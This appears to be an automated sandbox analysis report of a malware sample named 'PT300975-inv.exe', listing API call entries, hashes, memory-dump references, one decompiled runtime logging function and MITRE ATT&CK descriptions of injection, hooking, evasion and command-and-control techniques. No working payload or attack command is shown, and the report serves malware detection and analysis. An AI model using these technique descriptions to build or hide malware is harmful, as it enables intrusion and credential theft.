Instruction ID: 9eea38e9d9910616ec4fb8645dbb2ebff03630e23cce90a3d7ee5ba452891637
Opcode Fuzzy Hash: b4ff4755c70717d08d41cf161a6b539b7334140d39e8f8a8120e552fa258d79b
Instruction Fuzzy Hash: 3190027160104803D140A99954086860025D7E1341F51D462A5014955EC7A598917175

Uniqueness

Uniqueness Score: -1.00%

Function 034A9FE0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A9FEA

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4e6641b36b9c9b8131f4424c96bd53724d645be171e09a8caf572fd2948c425a
Instruction ID: 6584eb1f72246aa2c13783ea8ac05b330341dff711f506a59b789cd9c105e4a0
Opcode Fuzzy Hash: 4e6641b36b9c9b8131f4424c96bd53724d645be171e09a8caf572fd2948c425a
Instruction Fuzzy Hash: EA90027171118803D150A55984047460025D7D2241F51C862A0814958DC7D598917176

Uniqueness

Uniqueness Score: -1.00%

Function 034A9780, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A978A

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: be65a6675d3ebf80e2eddce4145dadd40e7c8a0b587e12bc1b5ca97dde582beb
Instruction ID: c29a24aa53aebd9b394385879c48471e817a91f664e782c15c90537f0c417d41
Opcode Fuzzy Hash: be65a6675d3ebf80e2eddce4145dadd40e7c8a0b587e12bc1b5ca97dde582beb
Instruction Fuzzy Hash: C890026961304403D1C0B559540864A0025D7D2242F91D866A0005958CCB5598696375

Uniqueness

Uniqueness Score: -1.00%

Function 034A96D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A96DA

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4815f700c03632cdc056441b2849fe5356b34944de86e6fa64dcdfbf02853ed5
Instruction ID: e8d3d8d8e3878d6229a0ec0ac3ec7609f19807e1e5cead084208971226ec9bab
Opcode Fuzzy Hash: 4815f700c03632cdc056441b2849fe5356b34944de86e6fa64dcdfbf02853ed5
Instruction Fuzzy Hash: FA90027160104C43D140A5594404B860025D7E1341F51C467A0114A54DC755D8517575

Uniqueness

Uniqueness Score: -1.00%

Function 034A96E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A96EA

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a271126a2191329ffcc5eee3ed296e1acbb0cd78f0bc321ec9168cc4f08c2e94
Instruction ID: 4ea4ff43351fb439d5323c4310bc2d013f1b47f1cb9ad6b4de3995a671fac47e
Opcode Fuzzy Hash: a271126a2191329ffcc5eee3ed296e1acbb0cd78f0bc321ec9168cc4f08c2e94
Instruction Fuzzy Hash: 849002716010CC03D150A559840478A0025D7D1341F55C862A4414A58DC7D598917175

Uniqueness

Uniqueness Score: -1.00%

Function 034A9540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A954A

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8cfb6c61ec73d1fe2abf1cdbf1163cd48ca1a21724dde836ef287bdc7fa0a597
Instruction ID: 1a57ffba3a9948e9ba14fc08d5bed4e8c51c2a7a1f859f3833818749578bd97a
Opcode Fuzzy Hash: 8cfb6c61ec73d1fe2abf1cdbf1163cd48ca1a21724dde836ef287bdc7fa0a597
Instruction Fuzzy Hash: B6900265611044034145E95907045470066D7D6391351C472F1005950CD76198616175

Uniqueness

Uniqueness Score: -1.00%

Function 034A95D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A95DA

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3efd3d622639876fdada5de4dc117c926f7a0c178f0cb934333506d1b2933313
Instruction ID: f70935ca161a29f6e1cf2f617aadf901c76e1acc27aa8e4054c9c4431b506341
Opcode Fuzzy Hash: 3efd3d622639876fdada5de4dc117c926f7a0c178f0cb934333506d1b2933313
Instruction Fuzzy Hash: 939002A1602044038145B5594414656402AD7E1241B51C472E1004990DC76598917179

Uniqueness

Uniqueness Score: -1.00%

Function 009AA069, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 28memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00993AF8), ref: 009AA09D

Strings

.z`, xrefs: 009AA08C, 009AA098

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 035705fb713529143faa7298760893f3409cc2520eea19be97e2496a14905d83
Instruction ID: a79edbe64ee319ecbcae22ccf726768691a4e759c2ae44fb060349b82746d226
Opcode Fuzzy Hash: 035705fb713529143faa7298760893f3409cc2520eea19be97e2496a14905d83
Instruction Fuzzy Hash: DCE0ED712102046BD714DF55CC85EA777ADEF89650F018554B94857642C630E914CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 009AA070, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00993AF8), ref: 009AA09D

Strings

.z`, xrefs: 009AA08C, 009AA098

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: f3a8d4acbb21dd8384d620ce4ffff26c52a635b784a81d7daadaeb5d39eb2b5d
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 68E04FB12002086FD714DF59CC45EA777ACEF88750F018554FD0857241C630F910CAF0

Uniqueness

Uniqueness Score: -1.00%

Function 009982EA, Relevance: 3.1, APIs: 2, Instructions: 56threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0099834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0099836B

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: ce0d41208b125c6c9f2d52e015aec7c6d2674537751befe47dfedda3d0cc5610
Instruction ID: 22cbd4c95c13509d7a9d476efa02d0d7aeea2c2ae3b4659f3a1d0609570c2fb3
Opcode Fuzzy Hash: ce0d41208b125c6c9f2d52e015aec7c6d2674537751befe47dfedda3d0cc5610
Instruction Fuzzy Hash: E101FC71A402187AEF20A6989C43FFE772CAB41F51F044158FB04BA1C1E7E4690647E5

Uniqueness

Uniqueness Score: -1.00%

Function 009982F0, Relevance: 3.1, APIs: 2, Instructions: 55threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0099834A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0099836B

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 044c298a1d06f307a8119cdef661a26d78d53576b52967b50bafe86328bcddef
Instruction ID: 3ee19bcdaf482f68eba4d2b59c4a0960a51eab75d0c1870cced6af2a61393a27
Opcode Fuzzy Hash: 044c298a1d06f307a8119cdef661a26d78d53576b52967b50bafe86328bcddef
Instruction Fuzzy Hash: 1401DB71A802287BEB20A6989C43FFF776CAB81F51F144118FF04BA1C1E6D4690647F6

Uniqueness

Uniqueness Score: -1.00%

Function 009AA0A4, Relevance: 1.6, APIs: 1, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 009AA134

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 007a949610160cdf5e412536fa7d56fb401e089b02d1321ed466605672a53891
Instruction ID: 5fb659b3f6033baf91d9a33bdbc122f512e2ba2e748dcbf5409fa1392f3be88d
Opcode Fuzzy Hash: 007a949610160cdf5e412536fa7d56fb401e089b02d1321ed466605672a53891
Instruction Fuzzy Hash: CC011BB2208109AFCB14DF98D880DEB77ADAF8D750F118659BA4CA7201D630ED15CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0099ACD0, Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0099AD42

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction ID: 0836cb20651b5e5cf5b82df62c4f819c8e4c97902bd72af2719726c3d29518a5
Opcode Fuzzy Hash: 8dd989eea79af60a2177110ff857ca10202f9c8b5bfc158903865a0a4b584fe4
Instruction Fuzzy Hash: E4011EB5E0020DBBDF10DBA4DC46F9DB3B89B55308F104195A9099B281F631EB54CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 009AA0DF, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 009AA134

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: f497bde5e983975b2f8647c71344713b189404eeeeda599071133b00268b416b
Instruction ID: 89709c15ff4133d37cb000483d6276def294d24211ba8aa256f7f7c81a8dfa83
Opcode Fuzzy Hash: f497bde5e983975b2f8647c71344713b189404eeeeda599071133b00268b416b
Instruction Fuzzy Hash: 82019DB2210108AFCB58CF99DC80EEB77A9AF8C754F158258BA0DA7251C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009AA0E0, Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNELBASE(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 009AA134

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: c2babe18721a6f05596256074806333955b59c7914942b348ad5961d91ea8336
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 8001B2B2210108BFCB54DF89DC80EEB77ADAF8C754F158258FA0DA7241C630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 009AA1D0, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0099F1A2,0099F1A2,?,00000000,?,?), ref: 009AA200

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 6ad1f965ecd0b4f08ae5ec1ca251e1561e0d47b9d4f976b908cfce6d6d85876b
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 47E01AB12002086BDB10DF49CC85EE737ADEF89650F018154BA0867241CA30E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0099F697, Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,00998CF4,?), ref: 0099F6CB

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 85d636029a4ee010e8574ab06188646d0d364b4e7eab614e71f0a9dbb9c163cd
Instruction ID: 123ddfbe358b52a95ca68d1e62d673ced37d89fcf455dcf836bb904dcf9fe9d9
Opcode Fuzzy Hash: 85d636029a4ee010e8574ab06188646d0d364b4e7eab614e71f0a9dbb9c163cd
Instruction Fuzzy Hash: 0FD02B3165030837EA00AAB89C03F1236CDAB46750F090070FA49D62C3D951E0014065

Uniqueness

Uniqueness Score: -1.00%

Function 0099F6A0, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,00998CF4,?), ref: 0099F6CB

Memory Dump Source

Source File: 00000004.00000002.603415993.0000000000990000.00000040.00000001.sdmp, Offset: 00990000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction ID: 5c7c2ac2f312c569f67ef6c9f18d8fbab2202a1c35c1a320e704a08154bf0955
Opcode Fuzzy Hash: cec8ba978ca00a4152f16fa99d3564a32c161d26ed3cfe0d05bc2e8c73902fa4
Instruction Fuzzy Hash: 1ED0A7717903083BEA10FAA89C03F2672CD6B85B00F490074FA48D73C3E951F4004165

Uniqueness

Uniqueness Score: -1.00%

Function 034A967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 034A9694

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8511d93db18f9e81077e080a057cfad17edd0d53c2bf7fbece3141ade6db59fb
Instruction ID: 05bfdb7435844ae8ec05703ded8b834fd7bcd4d0119534adbfb061e9bfe05e4c
Opcode Fuzzy Hash: 8511d93db18f9e81077e080a057cfad17edd0d53c2bf7fbece3141ade6db59fb
Instruction Fuzzy Hash: 24B09B71D014D9C6D651D76446087177914BBD5741F16C4A3D1020A51A4778D091F5B9

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 034FFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E034FFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E034ACE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E034F5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E034F5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x034ffdda
0x034ffde2
0x034ffde5
0x034ffdec
0x034ffdfa
0x034ffdff
0x034ffe0a
0x034ffe0f
0x034ffe17
0x034ffe1e
0x034ffe19
0x034ffe19
0x034ffe19
0x034ffe20
0x034ffe21
0x034ffe22
0x034ffe25
0x034ffe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 034FFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 034FFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 034FFE01

Memory Dump Source

Source File: 00000004.00000002.604918702.0000000003440000.00000040.00000001.sdmp, Offset: 03440000, based on PE: true

Associated: 00000004.00000002.605174150.000000000355B000.00000040.00000001.sdmp Download File
Associated: 00000004.00000002.605193019.000000000355F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: 5f25879d1b796feddfdba0a6e50bfc7d717db9206760226953186897bf34f112
Instruction ID: 3642e1e8ea2bbe099cc990c8d6177c3d6df498091518a90facf3f0316c681901
Opcode Fuzzy Hash: 5f25879d1b796feddfdba0a6e50bfc7d717db9206760226953186897bf34f112
Instruction Fuzzy Hash: 37F0FC365406017FD7205A45DC01F27BF5ADB45730F280316F7245D5D2D962F82086F8

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	BIOS, MBR, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report PT300975-inv.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs
